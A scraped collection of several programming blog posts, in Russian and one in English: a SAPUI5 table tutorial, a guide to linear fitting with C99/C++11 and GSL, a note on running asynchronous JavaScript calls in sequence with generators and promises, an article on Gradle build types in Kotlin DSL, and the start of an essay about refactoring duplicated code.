Во время обработки запроса на подписку проверяется возможность этого (метод canAddEvent). В нём может быть всё что угодно, но в моём случае проверяется ограничение на количество слушателей. Не более 3х на каждый тип событий.
Плюс, конечно же, для работы с такими методами API необходима авторизация.
Вот, в принципе, и всё. Описан самый простой вариант. При необходимости можно добавить поддержку протокола SOAP или соединений через сокеты или что-то вроде того. И нужно реализовать повторную отправку сообщения, если ответ был не успешен. | https://habr.com/ru/post/503594/ | null | ru | null |
# [SAP] SAPUI5 for dummies part 1: A complete step-by-step exercise
#### Introduction & Recap
In the [previous blog post](https://habr.com/en/post/436608/), we have created a new SAPUI5 application on our SAP SCP WebIDE Full stack and we have configured it to use the destination to the [SAP Netweaver Gateway Demo ES5](https://blogs.sap.com/2017/06/16/netweaver-gateway-demo-es5-now-in-beta/).
#### What will be covered on this exercise
* What is an XML Metadata Manifest and what’s inside it?
* How to use our OData Model and bind it into our application
* Use a `sap.m.Table` with items and property binding
* Use `sap.ui.model.type.DateTime` to format JavaScript Date
* How to style columns to act differently on mobile/tablet/desktop devices
[](http://www.youtube.com/watch?v=whG39Jy4wc4 "Create a new SAPUI5 app on SAP WebIDE Full-Stack, Part 1")
#### Let’s code
Now it’s time to get our hands dirty with some code. In this step, you are going to display a table of Business Partner with some useful information.
The first thing to do is to check out our service metadata. Each oData service exposes a special XML file called XML Metadata Manifest. You can see it by appending `$metadata` to the service URL. This is our [GWSAMPLE\_BASIC metadata URL](https://sapes5.sapdevcenter.com/sap/opu/odata/iwbep/GWSAMPLE_BASIC/%24metadata). The Metatada Manifest is really important because it describes:
* Which Model Set exposed by the service
* For each Model which is the primary key, the list of attributes (with type and constraints) and if it has some navigation property (how you can navigate from this model to others as relations)
* A lot of other useful pieces of information
Take a look at the `BusinessPartner EntitySet`, and try to guess which property I've used for the final result of this step. Now check out the Table documentation on SAPUI5 and try to replicate my layout with the correct order of columns and items. For each column name create a translation in the `i18n.property` files and use it in the XML as a binding. Now, attach the BusinessPartnerSet to the table, add the requested column and style the column values according to the example.
Please note that:
* Created At has a specific DateTime formated displayed
* Column act differently if the app is opened in a phone, tablet or desktop browser
After you have finished the exercise you can check out the result on the source code of [the branch step 1](https://github.com/StErMi/openui5-exercise/tree/step_1). | https://habr.com/ru/post/436876/ | null | en | null |
# Использование C и C++ в Data Science для новичков
Решим классическую задачу Data Science на C99 и C++11.
В то время как такие языки как Python и R становятся все более популярными для науки о данных, C и C++ могут быть сильным выбором для эффективного решения задач в Data Science. В этой статье мы будем использовать C99 и C++11 для написания программы, работающей с квартетом Энскомба, о котором я расскажу далее.
О своей мотивации к постоянному изучению языков я написал в статье, посвященной Python и GNU Octave, которую стоит прочитать. Все программы предназначены для командной строки, а не для графического интерфейса пользователя (GUI). Полные примеры доступны в репозитории polyglot\_fit.
### Задача по программированию
Программа, которую вы напишете в этой серии:
* Считывает данные из [CSV-файла](https://en.wikipedia.org/wiki/Comma-separated_values)
* Интерполирует данные прямой линией (т.е., f(x)=m ⋅ x + q).
* Записывает результат в файл изображения
Это обычная задача, с которой сталкиваются многие специалисты по данным. Примером данных является первый набор квартета Энскомба, представленный в таблице ниже. Это набор искусственно сконструированных данных, которые дают одинаковые результаты при подгонке под прямую, но их графики сильно отличаются. Файл данных — это текстовый файл с табами для разделения столбцов и несколькими строками, формирующими заголовок. В этой задаче будет использоваться только первый набор (т.е. первые две колонки).
[Квартет Энскомба](https://en.wikipedia.org/wiki/Anscombe%27s_quartet)
### Способ решения на С
C — язык программирования общего назначения, который является одним из наиболее популярных языков, используемых сегодня (по данным [Индекса TIOBE](https://www.tiobe.com/tiobe-index/), [рейтинга RedMonk Programming Language Rankings](https://redmonk.com/sogrady/2019/07/18/language-rankings-6-19/), [Индекса популярности языков программирования](http://pypl.github.io/PYPL.html), и [исследованию GitHub](https://octoverse.github.com/)). Это достаточно старый язык (он был создан примерно в 1973 году), и на нем было написано много успешных программ (например, ядро Linux и Git). Этот язык также максимально приближен к внутренней работе компьютера, так как используется для непосредственного управления памятью. Это [компилируемый язык](https://en.wikipedia.org/wiki/Compiled_language), поэтому исходный код должен быть транслирован [компилятором](https://en.wikipedia.org/wiki/Compiler) в [машинный код](https://en.wikipedia.org/wiki/Machine_code). Его [стандартная библиотека](https://en.wikipedia.org/wiki/C_standard_library) небольшая и легкая по размерам, поэтому были разработаны другие библиотеки, обеспечивающие недостающие функциональные возможности.
Это язык, который я использую больше всего для [числодробилки](https://en.wiktionary.org/wiki/number-crunching), в основном из-за его производительности. Я нахожу его довольно утомительным в использовании, так как он требует написания большого [объема шаблонного кода](https://en.wikipedia.org/wiki/Boilerplate_code), но он хорошо поддерживается в различных средах. Стандарт C99 — это недавняя ревизия, которая добавляет некоторые изящные возможности и хорошо поддерживается компиляторами.
Я расскажу о необходимых предпосылках программирования на С и С++, чтобы и новички, и опытные пользователи могли воспользоваться этими языками.
### Установка
Для разработки на C99 нужен компилятор. Обычно я использую [Clang](https://clang.llvm.org/), но подойдет и [GCC](https://gcc.gnu.org/) – еще один полноценный компилятор с открытым исходным кодом. Для подгонки данных я решил использовать [научную библиотеку GNU](https://www.gnu.org/software/gsl/). Для построения графиков я не смог найти никакой разумной библиотеки, и поэтому эта программа полагается на внешнюю программу: [Gnuplot](http://www.gnuplot.info/). В примере также используется динамическая структура данных для хранения данных, которая определена в Дистрибутиве программ Беркли ([Berkeley Software Distribution, BSD](https://en.wikipedia.org/wiki/Berkeley_Software_Distribution)).
Установка в [Fedora](https://getfedora.org/) очень проста:
```
sudo dnf install clang gnuplot gsl gsl-devel
```
### Комментарии к коду
В C99 [комментарии](https://en.wikipedia.org/wiki/Comment_(computer_programming)) форматируются путем добавления // в начало строки, а остальная часть строки будет отброшена интерпретатором. Все, что находится между /\* и \*/, также отбрасывается.
```
// Компилятор проигнорирует этот комментарий.
/* И этот тоже проигнорирует */
```
### Необходимые библиотеки
Библиотеки состоят из двух частей:
* [Заголовочный файл](https://en.wikipedia.org/wiki/Include_directive), содержащий описание функций
* Исходный файл, содержащий определения функций
Заголовочные файлы включаются в исходный код, а исходный код библиотек привязываются к исполняемому файлу. Следовательно, заголовочные файлы необходимы для данного примера:
```
// Инструменты ввода-вывода
#include
// Стандартная библиотека
#include
// Инструменты для работы с строками
#include
// Структура данных "очередь" от BSD
#include
// Научные инструменты GSL
#include
#include
```
### Функция Main
В языке Си программа должна находиться внутри специальной функции, называемой [main()](https://en.wikipedia.org/wiki/Entry_point#C_and_C++):
```
int main(void) {
...
}
```
Здесь можно заметить отличие от Python, о котором говорилось в последнем руководстве, потому что в случае с Python, будет выполняться любой код, который он найдет в исходных файлах.
### Определение переменных
В C переменные должны быть объявлены до их использования, и они должны быть ассоциированы с типом. Всякий раз, когда вы хотите использовать переменную, вы должны решить, какие данные в ней хранить. Вы также можете указать, собираетесь ли вы использовать переменную в качестве константного значения, что не обязательно, но компилятор может извлечь выгоду из этой информации. Пример из программы [fitting\_C99.c](https://gitlab.com/cristiano.fontana/polyglot_fit/-/blob/master/fitting_C99.c), находящейся в репозитории:
```
const char *input_file_name = "anscombe.csv";
const char *delimiter = "\t";
const unsigned int skip_header = 3;
const unsigned int column_x = 0;
const unsigned int column_y = 1;
const char *output_file_name = "fit_C99.csv";
const unsigned int N = 100;
```
Массивы в языке С не являются динамическими в том смысле, что их длина должна быть определена заранее (т.е. до компиляции):
```
int data_array[1024];
```
Так как вы обычно не знаете, сколько точек данных находится в файле, используйте [односвязный список](https://en.wikipedia.org/wiki/Linked_list#Singly_linked_list). Это динамическая структура данных, которая может расти бесконечно. К счастью, BSD [предоставляет односвязные списки](http://man7.org/linux/man-pages/man3/queue.3.html). Вот пример определения:
```
struct data_point {
double x;
double y;
SLIST_ENTRY(data_point) entries;
};
SLIST_HEAD(data_list, data_point) head = SLIST_HEAD_INITIALIZER(head);
SLIST_INIT(&head);
```
Этот пример определяет список **data\_point**, состоящий из структурированных значений, которые содержат как значения **x**, так и значения **y**. Синтаксис довольно сложный, но интуитивно понятный, и его подробное описание было бы слишком многословным.
### Вывод на печать
Для печати в терминале можно использовать функцию [printf()](https://en.wikipedia.org/wiki/Printf_format_string), которая работает как функция printf() в Octave (описанная в первой статье):
```
printf("#### Первый набор квартета Энскомба на C99 ####\n");
```
Функция printf() не добавляет новую строку в конце распечатываемой строки автоматически, поэтому ее нужно добавлять собственноручно. Первый аргумент — это строка, которая может содержать информацию о формате других аргументов, которые могут быть переданы в функцию, например:
```
printf("Slope: %f\n", slope);
```
### Чтение данных
Сейчас наступает сложная часть… Есть несколько библиотек для разбора CSV-файлов на C, но ни одна из них не оказалась достаточно стабильной или популярной, чтобы находиться в репозитории пакетов Fedora. Вместо того, чтобы добавлять зависимость для этого руководства, я решил написать эту часть самостоятельно. Опять же, вдаваться в подробности было бы слишком многословно, поэтому я буду объяснять только общую идею. Некоторые строки в исходном коде будут проигнорированы для краткости, но вы можете найти полный пример в репозитории.
Сначала откройте входной файл:
```
FILE* input_file = fopen(input_file_name, "r");
```
Затем читайте файл построчно до тех пор, пока не произойдет ошибка или пока файл не закончится:
```
while (!ferror(input_file) && !feof(input_file)) {
size_t buffer_size = 0;
char *buffer = NULL;
getline(&buffer, &buffer_size, input_file);
...
}
```
Функция [getline()](http://man7.org/linux/man-pages/man3/getline.3.html) является приятным недавним дополнением из [стандарта POSIX.1-2008](https://en.wikipedia.org/wiki/POSIX). Она может читать целую строку в файле и заботиться о выделении необходимой памяти. Каждая строка затем разбивается на [токены](https://en.wikipedia.org/wiki/Lexical_analysis#Token) с помощью функции [strtok()](http://man7.org/linux/man-pages/man3/strtok.3.html). Просматривая токен, выберите нужные вам столбцы:
```
char *token = strtok(buffer, delimiter);
while (token != NULL)
{
double value;
sscanf(token, "%lf", &value);
if (column == column_x) {
x = value;
} else if (column == column_y) {
y = value;
}
column += 1;
token = strtok(NULL, delimiter);
}
```
Наконец, когда выбраны значения x и y, добавьте новую точку в список:
```
struct data_point *datum = malloc(sizeof(struct data_point));
datum->x = x;
datum->y = y;
SLIST_INSERT_HEAD(&head, datum, entries);
```
Функция [malloc()](http://man7.org/linux/man-pages/man3/malloc.3.html) динамически выделяет (резервирует) некоторый объем постоянной памяти для новой точки.
### Подгонка данных
Функция линейной интерполяции из [GSL gsl\_fit\_linear()](https://www.gnu.org/software/gsl/doc/html/lls.html) принимает на вход обычные массивы. Поэтому, так как вы не можете заранее знать размер создаваемых массивов, необходимо вручную выделить на них память:
```
const size_t entries_number = row - skip_header - 1;
double *x = malloc(sizeof(double) * entries_number);
double *y = malloc(sizeof(double) * entries_number);
```
Затем пройдите по списку, чтобы сохранить соответствующие данные в массивах:
```
SLIST_FOREACH(datum, &head, entries) {
const double current_x = datum->x;
const double current_y = datum->y;
x[i] = current_x;
y[i] = current_y;
i += 1;
}
```
Теперь, когда вы закончили со списком, наведите порядок. Всегда освобождайте память, которая была выделена вручную, чтобы [предотвратить утечку памяти](https://en.wikipedia.org/wiki/Memory_leak). Утечка памяти — это плохо, плохо, и еще раз плохо. Каждый раз, когда память не освобождается, садовый гном лишается головы:
```
while (!SLIST_EMPTY(&head)) {
struct data_point *datum = SLIST_FIRST(&head);
SLIST_REMOVE_HEAD(&head, entries);
free(datum);
}
```
Наконец, наконец-то(!), вы можете подогнать свои данные:
```
gsl_fit_linear(x, 1, y, 1, entries_number,
&intercept, &slope,
&cov00, &cov01, &cov11, χ_squared);
const double r_value = gsl_stats_correlation(x, 1, y, 1, entries_number);
printf("Slope: %f\n", slope);
printf("Intercept: %f\n", intercept);
printf("Correlation coefficient: %f\n", r_value);
```
### Построение графика
Для построения графика необходимо использовать внешнюю программу. Поэтому сохраните функцию подгонки во внешнем файле:
```
const double step_x = ((max_x + 1) - (min_x - 1)) / N;
for (unsigned int i = 0; i < N; i += 1) {
const double current_x = (min_x - 1) + step_x * i;
const double current_y = intercept + slope * current_x;
fprintf(output_file, "%f\t%f\n", current_x, current_y);
}
```
Команда Gnuplot для построения графиков выглядит следующим образом:
```
plot 'fit_C99.csv' using 1:2 with lines title 'Fit', 'anscombe.csv' using 1:2 with points pointtype 7 title 'Data'
```
### Результаты
Перед запуском программы необходимо ее скомпилировать:
```
clang -std=c99 -I/usr/include/ fitting_C99.c -L/usr/lib/ -L/usr/lib64/ -lgsl -lgslcblas -o fitting_C99
```
Эта команда говорит компилятору использовать стандарт C99, прочитать файл fitting\_C99.c, загрузить библиотеки gsl и gslcblas и сохранить результат в fitting\_C99. Полученный результат в командной строке:
```
#### Первый набор квартета Энскомба на C99 ####
Угловой коэффициент: 0.500091
Пересечение: 3.000091
Коэффициент корреляции: 0.816421
```
Вот результирующее изображение, сгенерированное с помощью Gnuplot.
### Способ решения на С++11
[С++](https://en.wikipedia.org/wiki/C%2B%2B) — язык программирования общего назначения, который также является одним из самых популярных языков, используемых сегодня. Он был создан как [преемник](http://www.cplusplus.com/info/history/) языка С (в 1983 году) с акцентом на [объектно-ориентированное программирование](https://en.wikipedia.org/wiki/Object-oriented_programming) (ООП). С++ обычно считается надмножеством С, поэтому программа на С должна быть скомпилирована компилятором Си++. Это получается не всегда, так как есть некоторые краевые случаи, когда они ведут себя по-разному. По моему опыту, С++ требует меньше шаблонного кода, чем С, но его синтаксис сложнее, если вы хотите разрабатывать объекты. Стандарт C++11 — это недавняя ревизия, которая добавляет некоторые изящные возможности, которые более или менее поддерживается компиляторами.
Так как C++ в значительной степени совместим с C, я просто остановлюсь на различиях между ними. Если я не опишу какой-то раздел в этой части, это означает, что он такой же, как и в C.
### Установка
Зависимости для C++ такие же, как и для примера C. На Fedora необходимо выполнить следующую команду:
```
sudo dnf install clang gnuplot gsl gsl-devel
```
### Необходимые библиотеки
Библиотеки работают так же, как и на C, но директивы include немного отличаются:
```
#include
#include
#include
#include
#include
#include
#include
extern "C" {
#include
#include
}
```
Поскольку библиотеки GSL написаны на С, компилятору необходимо сообщить об этой особенности.
### Определение переменных
C++ поддерживает больше типов (классов) данных, чем C, например, строковый тип, который имеет гораздо больше возможностей, чем его C-аналог. Обновите определение переменных соответствующим образом:
```
const std::string input_file_name("anscombe.csv");
```
Для структурированных объектов, таких как строки, можно определить переменную без использования знака **=**.
### Вывод на печать
Вы можете использовать функцию **printf()**, но более принято использовать **cout**. Используйте оператор **<<** для указания строки (или объектов), которые вы хотите распечатать с помощью **cout**:
```
std::cout << "#### Первый набор квартета Энскомба на C++11 ####" << std::endl;
...
std::cout << "Угловой коэффициент: " << slope << std::endl;
std::cout << "Пересечение: " << intercept << std::endl;
std::cout << "Коэффициент корреляции: " << r_value << std::endl;
```
### Чтение данных
Схема такая же, как и раньше. Файл открывается и читается построчно, но с другим синтаксисом:
```
std::ifstream input_file(input_file_name);
while (input_file.good()) {
std::string line;
getline(input_file, line);
...
}
```
Токены строк извлекаются той же функцией, что и в примере C99. Вместо стандартных массивов из C используйте два [вектора](https://en.wikipedia.org/wiki/Sequence_container_%28C%2B%2B%29#Vector). Векторы являются расширением массивов C в [стандартной библиотеке](https://en.wikipedia.org/wiki/C%2B%2B_Standard_Library) C++, позволяющим динамически управлять памятью без вызова **malloc()**:
```
std::vector x;
std::vector y;
// Добавляем элементы в x и y
x.emplace\_back(value);
y.emplace\_back(value);
```
### Подгонка данных
Для подгонки данных на С++ не нужно мучиться со списками, так как векторы гарантированно имеют последовательную память. Вы можете напрямую передать функции подгонки указатели на буферы векторов:
```
gsl_fit_linear(x.data(), 1, y.data(), 1, entries_number,
&intercept, &slope,
&cov00, &cov01, &cov11, χ_squared);
const double r_value = gsl_stats_correlation(x.data(), 1, y.data(), 1, entries_number);
std::cout << "Угловой коэффициент: " << slope << std::endl;
std::cout << "Пересечение: " << intercept << std::endl;
std::cout << "Коэффициент корреляции: " << r_value << std::endl;
```
### Построение графика
Построение графика делается так же, как и раньше. Запишите в файл:
```
const double step_x = ((max_x + 1) - (min_x - 1)) / N;
for (unsigned int i = 0; i < N; i += 1) {
const double current_x = (min_x - 1) + step_x * i;
const double current_y = intercept + slope * current_x;
output_file << current_x << "\t" << current_y << std::endl;
}
output_file.close();
```
А потом используйте Gnuplot для построения графика.
### Результаты
Перед запуском программы она должна быть скомпилирована аналогичной командой:
```
clang++ -std=c++11 -I/usr/include/ fitting_Cpp11.cpp -L/usr/lib/ -L/usr/lib64/ -lgsl -lgslcblas -o fitting_Cpp11
```
Результирующий вывод в командной строке:
```
#### Первый набор квартета Энскомба на C++11 ####
Угловой Коэффициент: 0.500091
Пересечение: 3.00009
Коэффициент корреляции: 0.816421
```
И вот полученное изображение, сгенерированное с помощью Gnuplot.
### Заключение
В статье приведены примеры подгонки данных и построения графиков на C99 и C++11. Так как C++ в значительной степени совместим с C, в данной статье использовано их сходство для написания второго примера. В некоторых аспектах Си++ проще использовать, так как он частично снимает нагрузку по явному управлению памятью, но его синтаксис сложнее, так как он вводит возможность написания классов для ООП. Тем не менее, вы можете писать и на C с использованием методов ООП, так как ООП — это стиль программирования, его можно использовать на любом языке. Есть несколько замечательных примеров ООП на Си, таких как библиотеки [GObject](https://en.wikipedia.org/wiki/GObject) и [Jansson](http://www.digip.org/jansson/).
Для работы с числами я предпочитаю использовать C99 из-за его более простого синтаксиса и широкой поддержки. До недавнего времени С++11 не так широко поддерживался, и я старался избегать шероховатостей в предыдущих версиях. Для более сложного программного обеспечения, C++ может быть хорошим выбором.
Вы используете С или С++ для Data Science? Поделитесь своим опытом в комментариях.
Узнайте подробности, как получить востребованную профессию с нуля или Level Up по навыкам и зарплате, пройдя платные онлайн-курсы SkillFactory:
* [Курс по Machine Learning](https://skillfactory.ru/ml-programma-machine-learning-online?utm_source=infopartners&utm_medium=habr&utm_campaign=ML&utm_term=regular&utm_content=06072001) (12 недель)
* [Обучение профессии Data Science с нуля](https://skillfactory.ru/data-scientist?utm_source=infopartners&utm_medium=habr&utm_campaign=DST&utm_term=regular&utm_content=06072001) (12 месяцев)
* [Профессия аналитика с любым стартовым уровнем](https://skillfactory.ru/analytics?utm_source=infopartners&utm_medium=habr&utm_campaign=SDA&utm_term=regular&utm_content=06072001) (9 месяцев)
* [Курс «Python для веб-разработки»](https://skillfactory.ru/python-for-web-developers?utm_source=infopartners&utm_medium=habr&utm_campaign=PWS&utm_term=regular&utm_content=06072001) (9 месяцев)
### Читать еще
* [Тренды в Data Scienсe 2020](https://habr.com/ru/company/skillfactory/blog/508450/)
* [Data Science умерла. Да здравствует Business Science](https://habr.com/ru/company/skillfactory/blog/508556/)
* [Крутые Data Scientist не тратят время на статистику](https://habr.com/ru/company/skillfactory/blog/507052/)
* [Как стать Data Scientist без онлайн-курсов](https://habr.com/ru/company/skillfactory/blog/507024/)
* [450 бесплатных курсов от Лиги Плюща](https://habr.com/ru/company/skillfactory/blog/503196/)
* [Data Science для гуманитариев: что такое «data»](https://habr.com/ru/company/skillfactory/blog/506798/)
* [Data Scienсe на стероидах: знакомство с Decision Intelligence](https://habr.com/ru/company/skillfactory/blog/506790/) | https://habr.com/ru/post/509534/ | null | ru | null |
# Асинхронный код в синхронный встроенными средствами
Итак, не так давно мне пришлось столкнуться с довольно популярной задачей преобразования асинхронного кода в синхронный в рамках цикла. В моем случае это была работа с AmazonAPI методами productSearch. Все бы ничего, да вот только данный API очень не любит когда к нему обращаются слишком часто, а мне было необходимо в цикле опрашивать состояние продуктов.
В данной статье я на практическом примере расскажу о реализации способа, которым я воспользовался для решения моей задачи. Приступим.
Для реализации нам понадобятся: promises (я буду использовать библиотеку q), версия nodejs с поддержкой генераторов, подопытная асинхронная функция (будем использовать setTimeout).
```
var q = require("q");
function* itemGenerator(data)
{
var i, len = data.length;
for(i = 0; i < len; i++)
{
yield data[i];
}
}
function oldIterator(data)
{
var i = -1, len = data.length;
return {
"next": function()
{
i++;
return {
"done": i == len,
"value": data[i]
};
}
}
}
function main()
{
var def = q.defer(), items = [1, 2, 3, 4, 5];
(function foo(gen)
{
var genItem = gen.next(), item = genItem.value;
if(genItem.done)
{
def.resolve(true);
return;
}
console.log("start call for", item);
setTimeout(function()
{
console.log("end call for", item);
foo(gen);
});
})(itemGenerator(items))
return def.promise;
}
main().then(function(flag)
{
console.log("promise has been resolved", flag);
});
```
Результатом выполнения данного скрипта будет:
```
> node async_sync.js
start call for 1
end call for 1
start call for 2
end call for 2
start call for 3
end call for 3
start call for 4
end call for 4
start call for 5
end call for 5
promise has been resolved true
```
Как мы видим все наши асинхронные вызовы проходят в синхронном режиме. Для поддержки более старых версий(не поддерживающих генераторы), я добавил функцию “oldIterator”, которая будет работать аналогично генератору.
**PS**: данный код будет работать аналогично и в JavaScript, достаточно заменить библиотеку “Q” на родные “Promise”.
На этом все, спасибо за внимание! | https://habr.com/ru/post/308864/ | null | ru | null |
# Объектно-ориентированный Gradle. Настраиваем Build types в Android, используя Kotlin DSL
В этой статье мы поговорим о том, как наша команда перешла на Kotlin DSL для описания Gradle файлов, и как в итоге мы получили типы сборок, описанные классами и имеющие общий интерфейс.
Меня зовут Давид, и я с 2018 года разрабатываю в Константе приложения под платформу Android, как большие и нацеленные на аудиторию в несколько сотен тысяч уникальных пользователей, так и рассчитанные на внутреннее использование. Вообще, в Константе много проектов, каждый из которых по-своему интересен и уникален. Например, есть приложения, ориентированные на несколько разных рынков, а есть мессенджер, заточенный на конфиденциальность передаваемых данных, который я сейчас делаю с нуля, и он пока используется внутри компании.
У нас большое сообщество Android разработчиков, и мы часто делимся опытом не только внутри команды, но и с коллегами в сети. В рамках одного из наших проектов мы решили попробовать кое-что новое, а именно - отказаться от Groovy в пользу Kotlin DSL для Gradle файлов. Об этом я вам и расскажу.
Решение использовать Kotlin DSL было принято по нескольким причинам:
* **удобство**. Код на Kotlin DSL более читабелен, компактен и дает больше возможностей в рамках традиционного IDE;
* **любовь к Kotlin**. Этот язык перспективен и прекрасен, и мы стараемся пользоваться его прелестями, где только можно;
* [**Рекомендация от Google**](https://developer.android.com/studio/build/migrate-to-kts#:~:text=In%20the%20future%2C%20KTS%20will,time%20checking%20and%20IDE%20support.).
Итак, мы приступили к написанию скриптов. Для начала определили, какие типы сборок будут в проекте. В итоге остановились на таком варианте:
* **debug** - тип по-умолчанию. Используется для отладки во время разработки;
* **qa** - сборка, используемая QA инженерами внутри команды для тестирования функционала в рамках конкретной задачи;
* **preProd** - сборка, используемая QA инженерами внутри команды для проведения регрессионного тестирования (a.k.a release-candidate);
* **release** - сборка для конечных пользователей.
> *Этот список может отличаться от выбранного вами. Наш подход позволяет безболезненно добавлять / убирать типы сборок.*
>
>
После этого мы добавили поддержку Kotlin DSL в проект. Вот пошаговая инструкция:
* добавить папку с названием `buildSrc` на уровне проекта;
* создать в ней файл с названием `build.gradle.kts`;
* добавить туда скрипт:
```
import org.gradle.kotlin.dsl.`kotlin-dsl`
plugins {
kotlin-dsl
}
repositories {
jcenter()
}
```
* переименовать все файлы формата `.gradle` в `.gradle.kts`, согласно [инструкции](https://developer.android.com/studio/build/migrate-to-kts#:~:text=In%20the%20future%2C%20KTS%20will,time%20checking%20and%20IDE%20support.)).
Выполнив эти шаги, мы стали счастливыми обладателями ~~хайпового~~ современного проекта.
Для разработчиков, использующих Groovy, привычно, когда каждый тип должен быть указан в Gradle с его настройками. Обычно это выглядит так:
```
buildTypes{
getByName("debug"){
applicationIdSuffix = ".debug"
}
create("qa"){
applicationIdSuffix = ".qa"
initWith(getByName("debug"))
isMinifyEnabled = false
}
create("preProd"){
applicationIdSuffix = ".preprod"
isMinifyEnabled = true
proguardFiles(
getDefaultProguardFile("proguard-android-optimize.txt"),
"proguard-rules.pro"
)
}
create("release"){
applicationIdSuffix = ".release"
isMinifyEnabled = true
proguardFiles(
getDefaultProguardFile("proguard-android-optimize.txt"),
"proguard-rules.pro"
)
}
}
```
Вроде бы не очень плохо, на первый взгляд. Только мы выбрали путь многомодульности, а копировать и вставлять один и тот же код в каждый модуль не очень хотелось. В связи с этим мы взялись за поиски более грамотного решения…. И нашли!
В первую очередь, мы создали интерфейс AppBuild в папке buildSrc, чтобы иметь к нему доступ из Gradle. Получилось так:
```
interface AppBuild {
val name: String
val suffix: String
val isDebuggable: Boolean
val signingParams: SigningParams?
}
```
Затем мы создали Build классы, реализующие этот интерфейс. Ниже показан класс для QA:
```
object QaBuild : AppBuild {
override val name: String
get() = "qa"
override val suffix: String
get() = ".$name"
override val isDebuggable: Boolean
get() = true
override val signingParams: SigningParams?
get() = null
}
```
Затем в AppBuild.companionObject добавили метод, возвращающий список всех Build классов:
```
interface AppBuild {
companion object {
fun getAll(): List =listOf(
QaBuild,
PreProdBuild,
ReleaseBuild
)
}
val name: String
val suffix: String
val isDebuggable: Boolean
val signingParams: SigningParams?
}
```
После того, как мы получили объектно-ориентированные Build настройки, осталось добавить их в Gradle:
```
buildTypes{
AppBuild
.getAll()
.forEach { build->
create(build.name){
applicationIdSuffix = build.suffix
isMinifyEnabled = build.isMinifyEnabled
if (isDebuggable) {
initWith(getByName("debug"))
}
signingParams
?.let { params ->
signingConfig = signingConfigs
.getByName(build.name)
proguardFiles(
getDefaultProguardFile(params.proguard),
params.proguardRules
)
}
}
}
}
```
И SigningConfigs:
```
signingConfigs{
AppBuild
.getAll()
.forEach { build->
create(build.name){
signingParams
?.let { params ->
storeFile = file(params.keystoreLocation)
storePassword = params.keystorePassword
keyAlias = params.aliasName
keyPassword = params.aliasPassword }
}
}
}
```
Это все… Впоследствии мы получили BuildVariants с типами *debug*, *qa*, *preProd* и *release*. При этом мы не создавали отдельный тип *debug*, так как он уже был настроен изначально.
Мы выделили для себя такие плюсы этого подхода:
* **читабельность**: все типы находятся в одном месте, а их настройки указаны в виде свойств;
* **расширяемость**: в любой момент мы можем добавить новый build с его настройками, и все, что от нас потребуется — это Sync project;
* **гибкость**: если нам понадобится сменить путь *keystore*, *suffix* или что-то еще, мы сделаем это всего один раз;
* **удобство при многомодульности**: мы не пишем про все build типы во всех модулях отдельно, а всего лишь добавляем небольшой кусок кода;
Если говорить о минусах использования Kotlin DSL, обратили внимание на следующее:
* **мало документации в сети**. Наша команда потратила немало времени на переход из Groovy на Kotlin DSL.
* **время сборки увеличивается**. Об этом написано в [официальной документации](https://developer.android.com/studio/build/migrate-to-kts#:~:text=Although%20KTS%20currently%20offers%20better%20integration%20in%20Android%20Studio%E2%80%99s%20code%20editor%20when%20compared%20to%20Groovy%2C%20builds%20using%20KTS%20tend%20to%20be%20slower%20than%20builds%20using%20Groovy%2C%20so%20migrating%20to%20KTS%20should%20be%20considered%20with%20build%20performance%20in%20mind.)). Но стоит отметить, что при грамотном подходе к проекту (разбиение на модули и правильная настройка зависимостей) разницу не будете ощущать.
Вот так наша команда перешла на Kotlin DSL, надеемся, что наша статья будет полезна тем, кто только планирует этот переход.
Спасибо за внимание. До новых интересных задач! | https://habr.com/ru/post/669878/ | null | ru | null |
# Прощай, чистый код
[](https://habr.com/ru/company/ruvds/blog/484610/)
Был поздний вечер.
Мой коллега только что записал в репозиторий код, над которым работал целую неделю. Мы делали тогда графический редактор, а в свежем коде были реализованы возможности по изменению фигур, находящихся в рабочем поле. Фигуры, например — прямоугольники и овалы, можно было модифицировать, перемещая небольшие маркеры, расположенные на их краях.
Код работал.
Но в нём было много повторяющихся однотипных конструкций. Каждая фигура (вроде того же прямоугольника или овала) обладала различным набором маркеров. Перемещение этих маркеров в разных направлениях по-разному влияло на позицию и размер фигуры. А если пользователь, двигая маркеры, удерживал нажатой клавишу Shift, нам, кроме того, надо было сохранять пропорции фигуры при изменении её размера. В общем — в коде было много вычислений.
Код, о котором идёт речь, выглядел примерно так:
```
let Rectangle = {
resizeTopLeft(position, size, preserveAspect, dx, dy) {
// 10 однотипных строк вычислений
},
resizeTopRight(position, size, preserveAspect, dx, dy) {
// 10 однотипных строк вычислений
},
resizeBottomLeft(position, size, preserveAspect, dx, dy) {
// 10 однотипных строк вычислений
},
resizeBottomRight(position, size, preserveAspect, dx, dy) {
// 10 однотипных строк вычислений
},
};
let Oval = {
resizeLeft(position, size, preserveAspect, dx, dy) {
// 10 однотипных строк вычислений
},
resizeRight(position, size, preserveAspect, dx, dy) {
// 10 однотипных строк вычислений
},
resizeTop(position, size, preserveAspect, dx, dy) {
// 10 однотипных строк вычислений
},
resizeBottom(position, size, preserveAspect, dx, dy) {
// 10 однотипных строк вычислений
},
};
let Header = {
resizeLeft(position, size, preserveAspect, dx, dy) {
// 10 однотипных строк вычислений
},
resizeRight(position, size, preserveAspect, dx, dy) {
// 10 однотипных строк вычислений
},
}
let TextBlock = {
resizeTopLeft(position, size, preserveAspect, dx, dy) {
// 10 однотипных строк вычислений
},
resizeTopRight(position, size, preserveAspect, dx, dy) {
// 10 однотипных строк вычислений
},
resizeBottomLeft(position, size, preserveAspect, dx, dy) {
// 10 однотипных строк вычислений
},
resizeBottomRight(position, size, preserveAspect, dx, dy) {
// 10 однотипных строк вычислений
},
};
```
Меня все эти вычисления, все эти почти одинаковые строки, сильно зацепили.
Код не был чистым.
Основной объём однотипных строк наблюдался в тех местах, где задавалось перемещение фигур в одном и том же направлении. Например, в методе `Oval.resizeLeft()` был код, похожий на тот, который можно было найти в `Header.resizeLeft()`. Дело было в том, что оба эти метода отвечают за изменения фигуры, выполняемые при перемещении маркера влево.
Похожими были и методы фигур, имеющих одну и ту же форму. Например, `Oval.resizeLeft()` был похож на все остальные методы фигуры `Oval`. Все эти методы работали с овалами — отсюда и их сходство. Дублирующийся код можно было найти в объектах `Rectangle`, `Header` и `TextBlock`, так как текстовые блоки представляли собой прямоугольники.
У меня появилась идея.
Можно избавиться от дублирующихся конструкций, по-другому сгруппировав код. Например — так:
```
let Directions = {
top(...) {
// 5 уникальных строк вычислений
},
left(...) {
// 5 уникальных строк вычислений
},
bottom(...) {
// 5 уникальных строк вычислений
},
right(...) {
// 5 уникальных строк вычислений
},
};
